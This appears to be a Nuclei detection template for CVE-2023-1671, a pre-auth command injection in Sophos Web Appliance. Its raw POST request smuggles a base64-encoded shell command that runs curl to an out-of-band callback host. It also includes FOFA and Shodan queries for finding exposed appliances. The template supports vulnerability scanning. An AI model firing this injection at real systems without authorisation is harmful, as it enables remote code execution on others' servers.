id: CVE-2023-1671

info:
  name: Sophos Web Appliance - Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
  reference:
    - https://vulncheck.com/blog/cve-2023-1671-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1671
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1671
    cwe-id: CWE-77
  metadata:
    verified: "true"
    fofa-query: title="Sophos Web Appliance"
    shodan-query: title:"Sophos Web Appliance"
  tags: cve,cve2023,rce,sophos,oast

http:
  - raw:
      - |
        POST /index.php?c=blocked&action=continue HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: curl/7.86.0

        args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"